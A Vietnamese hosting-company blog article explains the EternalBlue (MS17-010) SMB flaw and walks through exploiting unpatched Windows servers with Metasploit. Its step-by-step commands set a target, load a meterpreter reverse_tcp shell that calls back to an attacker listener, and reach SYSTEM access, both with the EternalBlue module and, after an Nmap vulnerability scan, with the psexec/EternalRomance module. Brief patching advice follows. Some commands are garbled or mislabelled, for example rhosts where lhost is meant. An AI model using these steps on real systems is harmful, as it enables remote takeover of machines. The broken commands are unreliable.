Lỗ hổng EternalBlue là gì? Đây là một trong những khai thác đặc biệt xuất hiện và khai thác một lỗ hổng trong giao thức SMB. Khai thác này đã gây ra nhiều ảnh hưởng đến máy Windows và tàn phá khắp nơi. Trong bài viết này, Vietnix sẽ đề cập việc khai thác lỗ hổng EternalBlue trên Windows Server bằng Metasploit.
Lỗ hổng Eternal Blue là gì?
EternalBlue (MS17-010) là một lỗ hổng bảo mật nghiêm trọng trong giao thức SMB (Server Message Block) của Microsoft. Lỗ hổng này được phát hành vào năm 2017 sau khi bị NSA đánh cắp bởi một nhóm tin tặc nổi tiếng, Shadow Brokers.
EternalBlue tạo lỗ hổng cho phép các tin tặc thiết lập kết nối phiên thông qua trình đăng nhập ẩn danh. Nhờ đó, các kẻ tấn công có thể thực hiện tấn công từ xa vào máy tính người dùng, tùy ý kiểm soát hệ thống mà không cần sự tương tác của người dùng. Sau khi khai thác thành công, các tin tặc sẽ thực hiện các hành động độc hại như gửi các gói không đúng định dạng, cài đặt phần mềm độc hại, đánh cắp dữ liệu hay mã hóa tống tiền.
Cách khai thác lỗ hổng EternalBlue
Khai thác EternalBlue với Metasploit
Chúng ta sẽ lấy ví dụ bằng một bản sao chưa được vá của Windows Server 2008 R2.
Bước 1: Xác định module phù hợp để sử dụng
Đầu tiên, mở terminal và khởi động Metasploit bằng cách nhập lệnh dưới đây.
- Service postgresql start: “Dịch vụ PostgreSQL bắt đầu” – lệnh này để khởi tạo cơ sở dữ liệu PostgreSQL.
- Msfconsole
service postgresql startmsfconsole
Tiếp theo, dùng lệnh tìm kiếm trong Metasploit để tìm kiếm module phù hợp.
search eternalblue
Ví dụ khi xác định được module phù hợp:
Bạn cũng có thể sử dụng một máy quét phụ trợ để xác định xem mục tiêu có dễ bị EternalBlue không. Sau khi đã xác định liệu mục tiêu có dễ bị tổn thương không, ta có thể dùng module khai thác bằng lệnh dưới đây:
use exploit/windows/smb/ms17_010_eternalblue
Bước 2: Khởi chạy module
Chúng ta có thể xem trạng thái cài đặt hiện tại bằng lệnh:
options
Ở bước đầu tiên, ta cần thiết lập địa chỉ IP của mục tiêu bằng lệnh dưới đây:
set rhosts 10.10.0.101
Sau đó, chúng ta có thể cấu hình thêm các tham số khác, ví dụ như tải shell Reverse_tcp làm tải trọng.
set payload windows/x64/meterpreter/reverse_tcp
Cuối cùng, tiến hành cài đặt máy chủ nghe thành địa chỉ IP của máy local.
set rhosts 10.10.0.1
Và cài đặt cổng nghe đến một số phù hợp.
set lport 4322
Sau khi hoàn thành thiết lập mọi thứ, dùng lệnh Run để khởi động khai thác.
run
Theo như kết quả, chúng ta thấy kết nối SMB đã được thiết lập và gói khai thác đã được gửi. Ngoài ra, có một WIN và một meterpreter session được mở.
Bước 3: Xác định mục tiêu thỏa hiệp.
Chúng ta hãy tiến hành chạy lệnh sysinfo để lấy thông tin hệ điều hành.
sysinfo
Chạy lệnh getuid để lấy tên người dùng hiện tại.
getuid
Kết quả:
Server username: NT AUTHORITY\SYSTEM
Khai thác EternalBlue với EternalRomance, EternalSynergy, và EternalChampion
Khi nhận thấy lỗ hổng EternalBlue không đủ sức công phá, ba khai thác tương tự đã được phát triển, bao gồm:
- EternalRomance: Khai thác SMBv1, tấn công từ xa, dễ triển khai trên các hệ thống cũ.
- EternalSynergy: Khai thác SMBv1 và SMBv2, có khả năng vượt qua nhiều biện pháp bảo mật.
- EternalChampion: Khai thác SMBv2 và SMBv3, phức tạp và nhắm vào các hệ thống hiện đại.
Ba khai thác này được kết hợp thành một module Metasploit duy nhất, được coi là đáng tin cậy hơn lỗ hổng EternalBlue và ít có khả năng đánh sập hơn. Hơn nữa, ba khai thác này hoạt động trên tất cả các phiên bản Windows chưa được vá gần đây.
Các khai thác này đều đòi hỏi việc sử dụng các đường ống được đặt tên (named pipes). Đường ống được đặt tên là một tính năng của Windows cho phép processes giao tiếp với nhau, thường được sử dụng cho việc truyền dữ liệu giữa các ứng dụng hoặc hệ thống.
Bước 1: Xác định mục tiêu dễ bị tổn thương
Chúng ta có thể dùng Nmap Scripting Engine để thay thế cho máy quét Metasploit để khám phá các mục tiêu dễ bị tổn thương. Trong nội dung này, chúng tôi dùng tập lệnh smb-Vuln-ms17-010 làm ví dụ kiểm tra lỗ hổng.
Đầu tiên, bạn cần thay đổi thư mục trong trường hợp bạn vẫn đang để Metasploit chạy với lệnh dưới đây:
cdnmap - - script smb-vuln-ms17-010 -v 10.10.0.100
Nmap sẽ được khởi động và trả kết quả như dưới đây: Ta có thể thấy kết quả liệt kê mục tiêu là vulnerable, cùng với các thông tin bổ sung như các yếu tố rủi ro và liên kết đến CVE.
Bước 2: Xác định module phù hợp.
Sau khi biết được mục tiêu là vulnerable, chúng ta có thể quay lại Metasploit để tìm kiếm một module phù hợp.
msfconsolesearch eternalromance
Sau đó tiến hành tải xuống module bằng lệnh use.
use exploit/windows/smb/ms17_010_psexec
Bước 3: Chạy module
Xem xét các lựa chọn cho module bằng lệnh options.
options
Theo như kết quả các lựa chọn, khai thác này có vẻ đang sử dụng một danh sách đường ống được đặt tên để kiểm tra và kết nối với một chia sẻ. Vậy, ta cần đặt một máy chủ từ xa:
set rhosts 10.10.0.100
Đồng thời, cài đặt một payload, local host và local port.
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.0.1
set lport 4321
Sau khi hoàn tất cài đặt, nhập lệnh Run để bắt đầu khai thác.
run
Như kết quả, tải trọng đã được thực thi thành công và kết thúc với Meterpreter session.
Bước 4: Xác định mục tiêu đã thỏa hiệp.
Cuối cùng, chúng ta xác minh lại một lần nữa liệu mục tiêu đã được thỏa hiệp thành công chưa bằng lệnh Sysinfo.
sysinfo
Và lệnh getuid.
getuid
Server username: NT AUTHORITY\SYSTEM
Cách phòng ngừa và hiện trạng
Cách phòng ngừa
Để phòng ngừa lỗ hổng EternalBlue, bạn cần thực hiện các bước sau:
- Cập nhật hệ thống: Đảm bảo rằng hệ điều hành và tất cả các phần mềm liên quan đều được cập nhật với các bản vá bảo mật mới nhất từ nhà cung cấp.
- Cài đặt bản vá: Tải và áp dụng các bản vá bảo mật mà Microsoft cung cấp cho lỗ hổng EternalBlue. Điều này giúp loại bỏ điểm yếu mà các cuộc tấn công có thể khai thác.
- Kích hoạt tường lửa: Đảm bảo rằng tường lửa được kích hoạt và cấu hình đúng cách để ngăn chặn các kết nối không mong muốn từ mạng.
- Giám sát và bảo mật: Theo dõi hệ thống để phát hiện các hoạt động bất thường và triển khai các biện pháp bảo mật bổ sung, như phần mềm chống virus và phát hiện xâm nhập.
Bằng cách thực hiện những bước này, bạn sẽ giảm thiểu nguy cơ bị ảnh hưởng bởi các cuộc tấn công mạng khai thác lỗ hổng EternalBlue.
Hiện trạng
Hiện nay, EternalBlue vẫn là một vấn đề nhức nhối, gây ra các hậu quả nghiêm trọng cho người dùng. Tuy nhiên, một số tổ chức vẫn cho chạy các hệ thống chưa được vá, thậm chí là phiên bản lậu của Windows. Điều này khiến cho EternalBlue trở thành một mối đe dọa đáng kể trên mạng cho đến tận hôm nay.
Chẳng hạn như, Crypto Jacking là một vector đe dọa dùng EternalBlue để thúc đẩy các cuộc tấn công vào máy tính nạn nhân để bí mật khai thác tiền điện tử. Hay WannaMine là một trong những vụ tấn công máy tính lớn trên toàn thế giới vào năm 2018.
Như vậy, dưới đây là lời khuyên cho bạn.
- Vá hệ thống: Luôn phải cập nhật các bản vá bảo mật cho hệ điều hành từ nhà cung cấp chính thống.
- Giám sát hệ thống: Nên dùng các công cụ chuyên biệt để giám sát và phát hiện xác xâm nhập bất thường.
- Nâng cao nhận thức: Tích cực đào tạo nhân viên về các mối đe dọa an ninh mạng, cũng như cách phòng ngừa.
Lời kết
Trong bài viết này, chúng tôi đã cung cấp đến bạn thông tin chi tiết về lỗ hổng EternalBlue, cũng như cách khai thác lỗ hổng này trên Metasploit. Hi vọng qua bài viết này, bạn đã có cái nhìn tổng quan về tình hình an ninh mạng hiện nay và nắm được cách phòng ngừa các vấn đề này nhằm bảo vệ các thông tin dữ liệu quan trọng.